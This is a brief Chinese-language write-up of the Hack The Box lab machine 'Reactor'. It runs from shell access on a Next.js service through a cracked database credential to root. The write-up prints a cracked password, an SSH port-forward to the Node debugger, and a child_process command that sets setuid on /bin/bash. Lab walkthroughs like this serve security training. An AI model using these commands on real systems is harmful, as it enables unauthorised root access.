HTB-Season11-Easy-Reactor

扫

22 + 3000

3000 还是个 nextjs，跳弹起手弹 shell 回来

有个数据库 搞下来

user 里面有两个 passwd hash

engineer:reactor1

拿去登录 ssh

提权没找到，gpt 看完 发现有 node 调试

(图片已丢失)

转发出来 然后用浏览器连上 node 调试端口提权

ssh -L 9229:127.0.0.1:9229 engineer@10.129.51.135

require('child_process').execSync('chmod +s /bin/bash');